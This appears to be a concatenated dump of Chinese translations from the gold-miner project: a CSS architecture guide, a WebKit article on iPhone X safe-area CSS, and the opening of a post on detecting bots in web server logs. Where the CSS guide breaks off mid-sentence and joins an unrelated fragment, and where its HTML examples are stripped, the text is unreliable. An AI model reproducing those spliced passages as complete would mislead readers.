译者:[linpu.li](https://github.com/llp0574) * 校对者:[galenyuan](https://github.com/galenyuan),[StarCrew](https://github.com/StarCrew) 这是一份清单,里面列出了在我多年的专业 Web 开发期间,在复杂的大型 Web 项目中学习到的有关管理 CSS 的事项。我多次被人问起这些东西,所以写一份文档记录下来听起来是个不错的主意。 我已经尽力尝试用简短的语言去解释它们了,然而这篇文章本质上还是长文慎入: 1. [**总是类名优先**](#1-always-prefer-classes) 2. [**组件代码放在一起**](#2-co-locate-component-code) 3. [**使用一致的类命名空间**](#3-use-consistent-class-namespacing) 4. [**维护命名空间和文件名之间的严格映射**](#4-maintain-a-strict-mapping-between-namespaces-and-filenames) 5. [**避免组件外的样式泄露**](#5-prevent-leaking-styles-outside-the-component) 6. [**避免组件内的样式泄露**](#6-prevent-leaking-styles-inside-the-component) 7. [**遵守组件边界**](#7-respect-component-boundaries) 8. [**松散地整合外部样式**](#8-integrate-external-styles-loosely) ## [](#introduction)介绍 如果你正在开发前端应用,那么最后你肯定需要关心样式方面的问题。尽管开发前端应用的技术水平持续增长,CSS 仍然是给 Web 应用赋予样式的唯一方式(而且最近,在某些情况下,[原生应用也一样](https://facebook.github.io/react-native/))。目前在市面上有两大类样式解决方案,即: * CSS 预编译器,已经存在很长时间了(如 [SASS](http://sass-lang.com/)、[LESS](http://lesscss.org/) 及其他) * CSS-in-JS 库,一个相对较新的样式解决方案(如 [free-style](https://github.com/blakeembrey/free-style) 和很多[其他的](https://github.com/MicheleBertoli/css-in-js)) 两种方法间的抉择不在本文过多赘述,并且像往常一样,它们都有各自的支持者和反对者。说完这些,在下面的内容里,我将会专注于第一种方法,所以如果你选择了后者,那么这篇文章可能就没什么吸引力了。 ## [](#high-level-goals)主要目标 但更具体地说,怎样才能被称为健壮且可扩展呢? * **面向组件** - 处理 UI 复杂性的最佳实践就是将 UI 分割成一个个的小组件。如果你正在使用一个合理的框架,JavaScript 方面就将原生支持(组件化)。举个例子,[React](https://facebook.github.io/react/) 就鼓励高度组件化和分割。我们希望有一个 CSS 架构去匹配。 * **沙箱化(Sandboxed)** - 如果一个组件的样式会对其他组件产生不必要以及意想不到的影响,那么将 UI 分割成组件并不会对我们的认知负荷起到帮助作用。就这方面而言,CSS的基本功能,如[层叠(cascade)](https://developer.mozilla.org/en/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance)以及一个针对标识符的独立全局命名空间,都会给你造成负担。如果你熟悉 Web 组件规范的话,那么就可以认为它(此架构)有着 [Shadow DOM 的样式隔离好处](http://www.html5rocks.com/en/tutorials/webcomponents/shadowdom-201/) ,而无需关心浏览器支持(或者规范是否经过严格的推敲)。 * **方便** - 我们想要所有好的东西,并且还不想因它们而产生更多的工作。也就是说,我们不想因为采用这个架构而让我们的开发者体验变得更糟。可能的话,我们想(开发者体验)变得更好。 * **安全性错误** - 结合之前的一点,我们想要所有东西都可以**默认局部化**,并且全局化只是一个特例。工程师都是很懒的,所以为了得到最容易的方法往往都需要使用合适的解决方案。 ## [](#concrete-rules)具体的规则 ### [](#1-always-prefer-classes)1\. 总是类名优先 这是显而易见的。 不要去使用 ID 选择器 (如 `#header`),因为每当你认为某样东西只会有一个实例的时候,[在无限的时间范围内](https://twitter.com/stedwick/status/525777867146539009),你都将被证明是错的。一个典型的例子就是,当想要在我们构建的大型应用中修复任何数据绑定漏洞的时候(这种情况尤为明显)。我们从为 UI 代码创建两个实例开始,它们并行在同一个 DOM,并都绑定到一个数据模型的共享实例上。这么做是为了保证所有数据模型的变化都可以正确体现到这两个 UI 上。所以任何你可能假设总是唯一的组件,如一个头部模板,就不再唯一了。顺便一提,这对找出其他唯一性假设相关的细微漏洞来说,也是一个很好的基准。我跑题了,但这个故事告诉我们的就是:没有一种情况是使用 ID 选择器会比使用类选择器**更好**,所以只要不使用就行了。 同样也不应该直接使用元素选择器(如 `p`)。通常对一个**属于组件**的元素使用元素选择器是可以的(看下面),但是对于元素本身来说,最终你将会为了一个不想使用它们的组件,而不得不[将那些样式给撤销掉](http://csswizardry.com/2012/11/code-smells-in-css/)。回想一下我们的主要目标,这同样也违背了它们(面向组件,避免折磨人的层叠(cascade),以及默认局部化)。如果你这么选择的话,那么在`body`上设置一些像字体,行高以及颜色的属性(也叫[可继承属性](https://developer.mozilla.org/en-US/docs/Web/CSS/inheritance)),对这个规则来说也可以是一个特例,但是如果你真正想做到组件隔离的话,那么放弃这些也完全是可行的(看下面关于[使用外部样式的部分](#8-integrate-external-styles-loosely))。 所以在极少特例的情况下,你的样式应该总是类名优先。 ### [](#2-co-locate-component-code)2\. 组件代码放在一起 当使用一个组件的时候,如果所有和组件相关的资源(其 JavaScript 代码,样式,测试用例,文档等等)都可以非常紧密地放在一起,那就更好了: ui/ ├── layout/ | ├── Header.js // component code | ├── Header.scss // component styles | ├── Header.spec.js // component-specific unit tests | └── Header.fixtures.json // any mock data the component tests might need ├── utils/ | ├── Button.md // usage documentation for the component | ├── Button.js // ...and so on, you get the idea | └── Button.scss 当你写代码的时候,只需要简单地打开项目的浏览工具,组件的所有其他内容都唾手可得了。样式代码和生成DOM的JavaScript之间有着天然的耦合性,而且我敢打赌你在修改完其中一个之后不久肯定会去修改另外一个。举例来说,这同样适用于组件及其测试代码。可以认为这就是 UI 组件的[访问局部性原理](https://en.wikipedia.org/wiki/Locality_of_reference)。我以前也会细致地去维护各种独立的镜像文件,它们各自存在 `styles/`、 `tests/` 和 `docs/` 等目录下面,直到我意识到,实际上我一直这么做的唯一原因是因为我就是一直这样做的。 ### [](#3-use-consistent-class-namespacing)3\. 使用一致的类命名空间 CSS 对类名及其他标识符(如 ID、动画名称等)都有一个独立扁平的命名空间。就像过去在 PHP 里,其社区想通过简单地使用更长且具有结构性的名称来处理这个问题,因此就效仿了命名空间([BEM](http://getbem.com/) 就是个例子)。我们也想要选择一个命名空间规范,并坚持下去。 比如,使用 `myapp-Header-link` 来当做一个类名,组成它的三个部分都有着特定的功能: * `myapp` 首先用来将我们的应用和其他可能运行在同一个 DOM 上的应用隔离开来 * `Header` 用来将组件和应用里其他的组件隔离开来 * `link` 用来为局部样式效果保存一个局部名称(在组件的命名空间内) 作为一个特殊的情况,`Header` 组件的根元素可以简单地用 `myapp-Header` 类来标记。对于一个非常简单的组件来说,这可能就是所需要做的全部了。 不管我们选择怎样的命名空间规范,我们都想要通过它保持一致性。那三个类名组成部分除了有着特定**功能**,也同样有着特定的**含义**。只需要看一下类名,就可以知道它属于哪里了。这样的命名空间将成为我们浏览项目样式的地图。 目前为止我都假设命名空间的方案为 `app-Component-class`,这是我个人在工作当中发现确实好用的方案,当然你也可以琢磨出自己的一套来。 ### [](#4-maintain-a-strict-mapping-between-namespaces-and-filenames)4\. 维护命名空间和文件名之间的严格映射 这只是对之前两条规则的逻辑组合(组件代码放在一起以及类命名空间):所有影响一个特定组件的样式都应该放到一个文件里,并以组件命名,没有例外。 如果你正在使用浏览器,然后发现一个组件表现异常,那么你就可以点击右键检查它,接着你就会看到:
    ...
    注意到组件名称,然后切换至你的编辑器,按下“快速打开文件”的快捷键,然后开始输入“head”,就可以看到: [![Quick open file](https://github.com/jareware/css-architecture/raw/master/quick-open-file.png)](/jareware/css-architecture/blob/master/quick-open-file.png) 这种来自 UI 组件关联源代码文件的严格映射非常有用,特别是如果你新进入一个团队并且还没有完全熟悉代码结构,通过这个方法你不需要熟悉就可以快速找到你应该写代码的地方了。 有一个对这种方法的自然推论(但或许不是那么快变得明显):一个单独的样式文件应该只包含属于一个独立命名空间的样式。为什么?假设我们有一个登录表单,只在 `Header` 组件内使用。在 JavaScript 代码层面,它被定义成一个名为 `Header.js` 的辅助组件,并且没有在任何地方被引入。你可能想声明一个类名为 `myapp-LoginForm`,并在 `Header.js` 和 `Header.scss` 里使用。那么假设团队里有一个新人被安排去修复登录表单上一个很小的布局问题,并想通过检查元素发现在哪里开始修改。然而并没有 `LoginForm.js` 或者 `LoginForm.scss` 可以被发现,这时他就不得不凭借 `grep` (Linux 命令)或者靠猜去寻找相关联的源代码文件。这也就是说,如果这个登录表单产生了一个独立的命名空间,那么就应该将其分割成一个独立的组件。一致性在大型项目里是非常有价值的。 ### [](#5-prevent-leaking-styles-outside-the-component)5\. 避免组件外的样式泄露 我们已经建立了自己的命名空间规范,并且现在想使用它们去沙箱化我们的 UI 组件。如果每个组件都只使用加上它们唯一的命名空间前缀的类名,那我们就可以确定它们的样式不会泄露到其他组件中去。这是非常高效的(看后面的注意事项),但是不得不反复输入命名空间也会变得越来越冗长乏味。 一个健壮,且仍然非常简单的解决方案就是将整个样式文件包装成一个前缀。注意我们是怎样做到只需要重复一次应用和组件名称: .myapp-Header { background: black; color: white; &-link { color: blue; } &-signup { border: 1px solid gray; } } 上面的例子是在 SASS 中实现的,但其中的 `&` 符号(或许让人有点惊讶)在所有相关的 CSS 预处理器中都做着同样的工作([SASS](http://sass-lang.com/)、[PostCSS](https://github.com/postcss/postcss-nested)、[LESS](http://lesscss.org/) 以及 [Stylus](http://stylus-lang.com/))。出于完整性,接下来给出上面 SASS 代码编译后的结果: .myapp-Header { background: black; color: white; } .myapp-Header-link { color: blue; } .myapp-Header-signup { border: 1px solid gray; } 所有常见的模式也可以使用它很好地表示出来,比如不同的组件状态有着不同的样式(想想 [BEM 条件下的修饰符](http://getbem.com/naming/)): .myapp-Header { &-signup { display: block; } &-isScrolledDown &-signup { display: none; } } 上面的编译结果如下: .myapp-Header-signup { display: block; } .myapp-Header-isScrolledDown .myapp-Header-signup { display: none; } 只要你的预编译器支持冒泡(SASS、LESS、PostCSS 和 Stylus 都可以做到),甚至媒体查询也可以很方便表示: .myapp-Header { &-signup { display: block; @media (max-width: 500px) { display: none; } } } 上面的代码就会变成: .myapp-Header-signup { display: block; } @media (max-width: 500px) { .myapp-Header-signup { display: none; } } 上面的模式让使用长且唯一的类名变得非常方便,因为你再也无需反复输入它们了。方便性是强制的,因为如果不方便,那么我们就会偷工减料了。 ### [](#quick-aside-on-the-js-side-of-things)JS 端的快速一览 这篇文档是关于样式规范的,但样式是不能凭空独立存在的:我们在 JS 端也需要产生同样的命名空间化类名,并且方便性也是强制的。 厚着脸皮做个广告,我恰好为此曾经建立了一个非常简单,无任何依赖的 JS 库,叫做 [`css-ns`](https://github.com/jareware/css-ns)。当在框架层面编译的时候([比如使用 React](https://github.com/jareware/css-ns#use-with-react)),它允许在一个特定文件内**强制**建立一个特定的命名空间。 // Create a namespace-bound local copy of React: var { React } = require('./config/css-ns')('Header'); // Create some elements:
    ...
    ...
    将渲染出的 DOM 如下所示:
    ...
    ...
    这真的非常方便,并且上面所有的代码让 JS 端也变成了**默认局部化**。 但是我再次跑题了,回到 CSS 端。 ### [](#6-prevent-leaking-styles-inside-the-component)6\. 避免组件内的样式泄露 还记得我说过给每个类名加上组件命名空间的前缀时,这是对沙箱化样式来说很高效的一种方式吗?还记得我说过这里有个“注意事项”吗? 考虑下面的样式: .myapp-Header { a { color: blue; } } 以及下面的组件层: +-------------------------+ | Header | | | | [home] [blog] [kittens] | <-- 这些都是 元素 +-------------------------+ 这很酷,不是吗?`Header` 里只有 `` 元素会变成[蓝色](https://www.youtube.com/watch?v=axHe_BVY_9c),因为我们生成的规则如下: .myapp-Header a { color: blue; } 但是考虑布局在之后做一下变化: +-----------------------------------------+ | Header +-----------+ | | | LoginForm | | | | | | | [home] [blog] [kittens] | [info] | | <-- 这些是 元素 | +-----------+ | +-----------------------------------------+ 选择器 `.myapp-Header a` **同样匹配**了 `LoginForm` 里的 `` 元素,所以我们搞砸了这里的样式隔离。事实证明,将所有样式包装到一个命名空间里对于隔离组件及其邻居组件来说,是一个高效的方式,**但却不能总是和其子组件隔离**。 这个问题可以通过两种方法修复: 1. 绝不在样式表中使用元素名称选择器。如果 `Header` 里的 `` 元素都使用 `` 替代,那么我们就不需要处理这个问题了。再往下看,有时候你会设置一些语义化标签,像 `
    `、`
    ` 以及 ``,都放在了正确的位置上,并且你又不想用额外的类名来弄乱它们,这种情况下: 2. 在你的命名空间之外只使用 [`>` 操作符](https://developer.mozilla.org/en-US/docs/Web/CSS/Child_selectors) 来选择元素。 根据第二个方法来做调整,我们的样式代码就可以改写如下: .myapp-Header { > a { color: blue; } } 这样就可以确保隔离同样作用于更深层次的组件树,因为生成的选择器变成了 `.myapp-Header > a`。 如果这听起来有争议,那么让我通过下面这个同样运行良好的例子更进一步地使你信服: .myapp-Header { > nav > p > a { color: blue; } } 经过[多年的可靠建议](http://lmgtfy.com/?q=css+nesting+harmful),我们一直认为要尽量避免选择器嵌套(包括这个使用了 `>` 的强关联形式)。但是为什么呢?这个引用的原因归结为以下三个: 1. 层叠样式最终会毁掉你的一天。要是嵌套越多的选择器,那么就有越高的机会造成一个元素匹配上**多于一个组件**的情况。如果你读到这里,你就会知道我们已经消除了这种可能性了(使用严格的命名空间前缀,并在需要的时候使用强关联子元素选择器)。 2. 太多的特性会减少可复用性。写给 `nav p a` 的样式将不能在特定情况下之外的任意地方被复用。但其实我们**从来没想要它可复用**,事实上,我们特意禁止这个可复用的方法,因为这种可复用性并不能在我们想实现组件隔离的目标上产生好的作用。 3. 太多的特性会让重构变得更加困难。这可以在现实中找到依据,假设你只有一个 `.myapp-Header-link a`,你可以很自由地在组件的 HTML 中移动 `` 元素,同样的样式总是会一直生效。然而如果使用 `> nav > p > a`,就需要更新选择器去匹配组件的 HTML 内这个链接的新位置。但考虑到我们想要 UI 是由一些小且隔离性好的组件组成,这个问题也不是相当重要。当然,如果你不得不在重构的时候考虑整个应用的 HTML 和 CSS,那么这个问题可能就有点严重了。但是现在你是在一个只有十行样式代码的小沙箱内进行操作,并且还知道沙箱外没有其他东西需要考虑,那么这种类型的变化就不是问题了。 通过这个例子,你应该很好的理解了规则,所以你知道什么时候应该打破它们。在我们的架构里,选择器嵌套不仅仅只是可以用,有时候它还是一件非常正确的事情。为之疯狂吧。 ### [](#an-aside-for-the-curious-prevent-leaking-styles-into-the-component)出于好奇的题外话:预防泄露样式**进入**组件 所以我们是否已经实现了样式的完美沙箱化,以至于每个组件的存在都可以和页面的其他内容隔离开来呢?做一个快速回顾: * 我们已经通过用组件的命名空间给每个类名加前缀来避免**组件向外泄露样式**: +-------+ | | | -----X---> | | +-------+ * 引申开来,这也意味着我们已经避免了**组件间的泄露**: +-------+ +-------+ | | | | | ------X------> | | | | | +-------+ +-------+ * 而且我们还通过考虑子选择器来避免**泄露进入子组件**: +---------------------+ | +-------+ | | | | | | ----X------> | | | | | | | +-------+ | +---------------------+ * 但更为关键的是,**外部样式仍然可以泄露进入组件当中**: +-------+ | | ----------> | | | +-------+ 举个例子,假设我们给组件写了下面的样式: .myapp-Header { > a { color: blue; } } 但是接着我们引入一个表现不好的第三方库,有着下面的 CSS: a { font-family: "Comic Sans"; } **没有一个简单的方法可以保护我们的组件不受外部样式的污染**,并且这是我们经常需要调整的地方: [![Give up](https://github.com/jareware/css-architecture/raw/master/give-up.gif)](/jareware/css-architecture/blob/master/give-up.gif) 幸好,对于你自己使用的依赖来说常常会有一个控制方式,并且也可以简单地找一个表现更好的选择。 而且,我说的是没有一个**简单的**的方法可以保护组件,并不意味着没有方法。[老兄,当然是有方法的](https://www.youtube.com/watch?v=20wUS_bbOHY),它们只是有不同的取舍: * 只需强制覆盖它:如果你为每个组件的每个元素去引入一个 [CSS 重置样式](http://cssreset.com/what-is-a-css-reset/),并且使用一个优先级总是高于其他第三方库的选择器,那么就非常棒了。但是除非是一个小应用(假设一个第三方“共享”按钮可以嵌入到网站上那种),否则这种方法将会迅速失控。这不算是一个好主意,只是在这里列出来等待完善。 * [`all: initial`](https://developer.mozilla.org/en/docs/Web/CSS/all) 是一个很少人知道的新 CSS 属性,它专门为了这个问题而设计。它可以[阻止继承属性流入](https://jsfiddle.net/0d9htatc/),并且[只要它赢得了特性之争](https://jsfiddle.net/e7rw4L8L/)(并且只要你为每个想保护的属性重复使用它),还可以作为一个本地重置生效。它的实现[有些错综复杂](https://speakerdeck.com/csswizardry/refactoring-css-without-losing-your-mind?slide=39),而且还不是所有浏览器都[支持](http://caniuse.com/#feat=css-all),但是 `all: initial` 最后或许可以成为样式隔离的有效方法。 * Shadow DOM 已经被提到过,而它正是为你解决问题的一个工具,因为它允许为 JS 和 CSS 声明组件边界。尽管最近有[一丝希望的微光](https://developer.apple.com/library/content/releasenotes/General/WhatsNewInSafari/Articles/Safari_10_0.html),Web 组件规范还是没有在今年取得很大的进步,并且除非你使用的是一些已知可支持的浏览器,否则还是不能将 Shadow DOM 列入考虑范围。 * 最后,还有 ` [点这里](https://www.youtube.com/embed/I1DdoN6NLDg)(Youtube地址,需自备梯子) ================================================ FILE: TODO/designing-websites-for-iphone-x.md ================================================ > * 原文地址:[Designing Websites for iPhone X](https://webkit.org/blog/7929/designing-websites-for-iphone-x/) > * 原文作者:[Timothy Horton](https://webkit.org/blog/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/designing-websites-for-iphone-x.md](https://github.com/xitu/gold-miner/blob/master/TODO/designing-websites-for-iphone-x.md) > * 译者:[Hyde Song](https://github.com/HydeSong) > * 校对者:[Larry](https://github.com/lampui) [Vernon](https://github.com/VernonVan) # iPhone X 网页设计 在最新发布 iPhone X 的全面屏上,Safari 可以精美地显示现有的网站。内容自动嵌入到显示屏的安全区域内,以免被圆角、原深感摄像头系统的空间遮挡住。 凹槽部分填充了页面的 `background-color` (比如指定为 `` 或 `` 元素的背景颜色),这样就和页面其余部分混合在一起。对于许多网站来说,这已经足够了。如果你的页面在背景色上只有文本和图片,那么默认的凹槽部分看起来也非常不错。 对于其他页面 —— 特别是那些设计全宽水平导航栏的页面,比如像下图的页面,可以选择稍微深入一点,充分利用新显示的功能。 [iPhone X 人机界面指南](https://developer.apple.com/ios/human-interface-guidelines/overview/iphone-x/) 详细介绍了一些通用的设计原则,并且 [UIKit 文档](https://developer.apple.com/documentation/uikit/uiview/positioning_content_relative_to_the_safe_area) 讨论了原生 app 可以采用的特定机制,以确保它们看起来不错。你的网站可以利用 iOS 11 中引入的一些类似 WebKit API 来充分利用显示器边缘到边缘的特性。 在阅读这篇文章的时候,你可以点击任何图片来访问相应的 Demo 页,并查看源代码: [![Safari's default insetting behavior](https://webkit.org/wp-content/uploads/default-inset-behavior.png)](/demos/safe-area-insets/1-default.html) Safari 的默认内嵌行为。 ## 使用整个屏幕 第一个新特性是对现有 `viewport` meta 标签的扩展,称为 [`viewport-fit`](https://www.w3.org/TR/css-round-display-1/#viewport-fit-descriptor),它提供对嵌入行为的控制。在 iOS 11 中可以使用 `viewport-fit`。 `viewport-fit` 的默认值是 auto,会引起自动嵌入行为的效果。为了使该行为失效,并使页面全屏幕显示,你可以设置 `viewport-fit:cover` 为 `cover`。在这样做之后,我们的 `viewport` meta 标记看起来像这样: ``` ``` 重新加载后,导航栏显示成边缘到边缘的样子,看起来好多了。然而,很明显,为什么注意系统的安全区域内嵌很重要:一些页面的内容被原深感摄像头系统的空间遮挡了,而底部的导航栏非常难以使用。 [![viewport-fit=cover](https://webkit.org/wp-content/uploads/viewport-fit-cover.png)](/demos/safe-area-insets/2-viewport-fit.html) 用 `viewport-fit=cover` 适配全面屏. ## 注意安全区域 为了在采用 `viewport-fit=cover` 之后页面还可用,下一步要做的是选择性地给包含重要内容的元素加上 padding,以确保元素不会被屏幕的形状所遮挡。生成的页面会充分利用 iPhone X 上增加的屏幕空间,同时动态调整避免四个角落、原深感摄像头系统的空间靠近主屏幕。 [![Safe and Unsafe Areas](https://webkit.org/wp-content/uploads/safe-areas.png)](/demos/safe-area-insets/safe-areas.html) iPhone X 横屏时的安全区和非安全区(带默认内嵌数值) 为了实现这一点,iOS 11 中的 WebKit 新增了一个 [CSS 函数](https://github.com/w3c/csswg-drafts/pull/1817),`constant()`,以及一组 [四个预定义的常量](https://github.com/w3c/csswg-drafts/pull/1819): `safe-area-inset-left`, `safe-area-inset-right`, `safe-area-inset-top` 和 `safe-area-inset-bottom`。当合并使用时,允许样式使用每个方向的安全区域的大小。 CSS 工作组 [最近决定添加这个特性](https://github.com/w3c/csswg-drafts/issues/1693#issuecomment-330909067),但是使用了不同的名称,请记住这一点。 `constant()` 功能类似于 `var()`,比如下面的示例,在 `padding` 属性使用: ``` .post { padding: 12px; padding-left: constant(safe-area-inset-left); padding-right: constant(safe-area-inset-right); } ``` 对于不支持 `constant()` 的浏览器,包含 `constant()` 的样式将被忽略。因此,重要的是要对使用 `constant()` 的样式另外使用替代样式。 [![Safe area constants](https://webkit.org/wp-content/uploads/safe-area-constants.png)](/demos/safe-area-insets/3-safe-area-constants.html) 注意安全区内嵌,使重要内容可见。 ## 使用 min() 和 max() 将其全部组合在一起 本节介绍目前 iOS 11 还**没有**实现的特性。 如果在网站设计中采用 constant() 来设置安全区域,你可能会注意到,在设置安全区域时,很难指定最小的 padding。在上面的页面中,我们把 12 px 的左填充替换成 `constant(safe-area-inset-left)`,当回到竖屏时,左侧的安全区域变成了 0 px,文本立即紧靠屏幕边缘。 [![No margins](https://webkit.org/wp-content/uploads/no-margins.png)](/demos/safe-area-insets/3-safe-area-constants.html) 安全区域内嵌不能替代边距。 要解决这个问题,我们需要指定 padding 应该是默认的 padding 或安全区域中较大的那个。这可以用 [全新的 CSS 函数 `min()` 和 `max()`](https://drafts.csswg.org/css-values/#calc-notation) 来实现,这将在未来的 Safari 预览版本中提供相应的支持。两个函数都采用任意数量的参数,并返回最小值或最大值。它们可以在 `calc()` 中使用,或者嵌套在一起,这两个函数都允许像 `calc()` 一样的数学计算。 比如像下面这样的示例,可以这样使用 `max()` : ``` @supports(padding: max(0px)) { .post { padding-left: max(12px, constant(safe-area-inset-left)); padding-right: max(12px, constant(safe-area-inset-right)); } } ``` 使用 @supports 来检测 min 和 max 很重要,因为并不是任何浏览器都支持,根据 CSS 的 [无效变量处理](https://drafts.csswg.org/css-variables/#invalid-variables),**不要**在 @supports 查询中指定变量。 在示例页面中,竖屏时 `constant(safe-area-inset-left)` 解析为 0 px,因此 `max()` 解析为 12 px。横屏时,由于感应器空间的存在,设置 `constant(safe-area-inset-left)` 的值会变得更大,而 `max()` 这个函数将会解析这个大小,以确保重要内容始终可见。 [![max() with safe area insets](https://webkit.org/wp-content/uploads/max-safe-areas-insets.png)](/demos/safe-area-insets/4-min-max.html) max() 将安全区内嵌与传统边距结合 有经验的 Web 开发人员以前可能遇到过 CSS 锁机制,通常用于将 CSS 属性设置在特定范围的值中。一起使用 `min()` 和 `max()` 会让事情变得更加容易,并且将有助于在未来实现有效的响应式设计。 ## 反馈和问题 现在你可以在 [Xcode 9](https://developer.apple.com/xcode/) 中 iPhone X 模拟器的 Safari 开始采用 viewport-fit 和安全区内嵌。很乐意听到所有特性被采纳,请随时将反馈和问题发送到 [web-evangelist@apple.com](mailto:web-evangelist@apple.com) 或者在 Twitter 上 [@webkit](https://twitter.com/webkit),并将 bug 都提交到 [WebKit 的 bug 跟踪器](https://bugs.webkit.org/)。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/detect-bots-apache-nginx-logs.md ================================================ > * 原文地址:[Detecting Bots in Apache & Nginx Logs](http://tech.marksblogg.com/detect-bots-apache-nginx-logs.html) > * 原文作者:[Mark Litwintschik](http://tech.marksblogg.com/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[luoyaqifei](http://www.zengmingxia.com) > * 校对者:[forezp](https://github.com/forezp),[1992chenlu](https://github.com/1992chenlu) # 在 Apache 和 Nginx 日志里检测爬虫机器人 现在阻止基于 JavaScript 追踪的浏览器插件享有九位数的用户量,从这一事实可以看出,web 流量日志可以成为一个很好的、能够感知有多少人在访问你的网站的地方。但是任何监测过 web 流量日志一段时间的人都知道,有成群结队的爬虫机器人在爬网站。然而,在 web 服务器日志里分辨出机器人和人为产生的流量是一个难题。 在这篇博文中,我将带你们重现那些我在创建一个基于 IPv4 所属和浏览器字串(browser string)的机器人检测脚本时用过的步骤。   本文中用到的代码在这个 [代码片段](https://gist.github.com/marklit/80b875ccab8b215bfa0ecdfaa5000e7b) 里。 ## IP 地址所属数据库 首先,我会安装 Python 和一些依赖包。接下来的指令会在一个新的 Ubuntu 14.04.3 LTS 安装过程中执行。 $ sudo apt-get update $ sudo apt-get install \ python-dev \ python-pip \ python-virtualenv 接下来我要创建一个 Python 虚拟环境,并且激活它。通过 pip 安装库时,容易遇到权限问题,这样可以缓解这种问题。 $ virtualenv findbots $ source findbots/bin/activate MaxMind 提供了一个免费的数据库,数据库里有 IPv4 地址对应的国家和城市注册信息。和这些数据集一起,他们还发布了一个基于 Python 的库,叫 “geoip2”,这个库可以将他们的数据集映射到内存映射的文件里,并且用基于 C 的 Python 扩展来执行非常快的查询。 下面的命令会安装它们的包,下载、解压它们在城市那一层的数据集。 $ pip install geoip2 $ curl -O http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.mmdb.gz $ gunzip GeoLite2-City.mmdb.gz 我看过一些 web 流量日志,并且抓取出来一些恰好请求了「robots.txt」的流量。从那个列表里,我重点检查了经常出现的 IP 地址中的一些,发现不少 IP 其实是属于主机和云服务提供商的。我想知道是不是有可能攒出来一个列表,无论完不完整,包括了这些提供商所有的 IPv4 地址。 Google 有一个基于 DNS 的机制,用于收集它们用于提供云的 IP 地址列表。这个最初的调用将给你一系列可以查询的主机。 $ dig -t txt _cloud-netblocks.googleusercontent.com | grep spf ``` _cloud-netblocks.googleusercontent.com. 5 IN TXT "v=spf1 include:_cloud-netblocks1.googleusercontent.com include:_cloud-netblocks2.googleusercontent.com include:_cloud-netblocks3.googleusercontent.com include:_cloud-netblocks4.googleusercontent.com include:_cloud-netblocks5.googleusercontent.com ?all" ``` 以上阐明了 _cloud-netblocks[1-5].googleusercontent.com 将包含 SPF 记录,这些记录里包括他们实用的 IPv4 和 IPv6 CIDR 地址。像如下这样查询所有的五个地址,应当会给你一个最新的列表。 $ dig -t txt _cloud-netblocks1.googleusercontent.com | grep spf ``` _cloud-netblocks1.googleusercontent.com. 5 IN TXT "v=spf1 ip4:8.34.208.0/20 ip4:8.35.192.0/21 ip4:8.35.200.0/23 ip4:108.59.80.0/20 ip4:108.170.192.0/20 ip4:108.170.208.0/21 ip4:108.170.216.0/22 ip4:108.170.220.0/23 ip4:108.170.222.0/24 ?all" ``` 去年三月,基于 Hadoop 的 MapReduce 任务,我尝试着抓取了整个 IPv4 地址空间的 WHOIS 细节,并且发布了一篇 [博客文章](http://tech.marksblogg.com/bulk-ip-address-whois-python-hadoop.html#ipv4-whois-mapreduce-job)。这个任务在过早结束之前,跑了接近两个小时,留给了我一份虽然不完整,但是大小可观的数据集,里面有 235,532 个 WHOIS 记录。这个数据集已经存在一年之久了,除了有点过时,应该还是有价值的。 $ ls -l ``` -rw-rw-r-- 1 mark mark 5946203 Mar 31 2016 part-00001 -rw-rw-r-- 1 mark mark 5887326 Mar 31 2016 part-00002 ... -rw-rw-r-- 1 mark mark 6187219 Mar 31 2016 part-00154 -rw-rw-r-- 1 mark mark 5961162 Mar 31 2016 part-00155 ``` 当我重点检查那些爬到「robots.txt」的爬虫机器人的 IP 所属时,除了 Google,这六家公司也出现了很多次:Amazon、百度、Digital Ocean、Hetzner、Linode 和 New Dream Network。我跑了以下的命令,尝试去取出它们的 IPv4 WHOIS 记录。 $ grep -i 'amazon' part-00* > amzn $ grep -i 'baidu' part-00* > baidu $ grep -i 'digital ocean' part-00* > digital_ocean $ grep -i 'hetzner' part-00* > hetzner $ grep -i 'linode' part-00* > linode $ grep -i 'new dream network' part-00* > dream 我需要从以上六个文件中,解析二次编码的 JSON 字符串,这些字符串包含了文件名和频率次数信息。我使用了 iPython 代码来获得不同的 CIDR 块,代码如下: ``` import json def parse_cidrs(filename): lines = open(filename, 'r+b').read().split('\n') recs = [] for line in lines: try: recs.append( json.loads( json.loads(':'.join(line.split('\t')[0].split(':')[1:])))) except ValueError: continue return set([str(rec.get('network', {}).get('cidr', None)) for rec in recs]) for _name in ['amzn', 'baidu', 'digital_ocean', 'hetzner', 'linode', 'dream']: print _name, parse_cidrs(_name) ``` 下面是一份清理完毕的 WHOIS 记录实例,我已经去掉了联系信息。 ``` { "asn": "38365", "asn_cidr": "182.61.0.0/18", "asn_country_code": "CN", "asn_date": "2010-02-25", "asn_registry": "apnic", "entities": [ "IRT-CNNIC-CN", "SD753-AP" ], "network": { "cidr": "182.61.0.0/16", "country": "CN", "end_address": "182.61.255.255", "events": [ { "action": "last changed", "actor": null, "timestamp": "2014-09-28T05:44:22Z" } ], "handle": "182.61.0.0 - 182.61.255.255", "ip_version": "v4", "links": [ "http://rdap.apnic.net/ip/182.0.0.0/8", "http://rdap.apnic.net/ip/182.61.0.0/16" ], "name": "Baidu", "parent_handle": "182.0.0.0 - 182.255.255.255", "raw": null, "remarks": [ { "description": "Beijing Baidu Netcom Science and Technology Co., Ltd...", "links": null, "title": "description" } ], "start_address": "182.61.0.0", "status": null, "type": "ALLOCATED PORTABLE" }, "query": "182.61.48.129", "raw": null } ``` 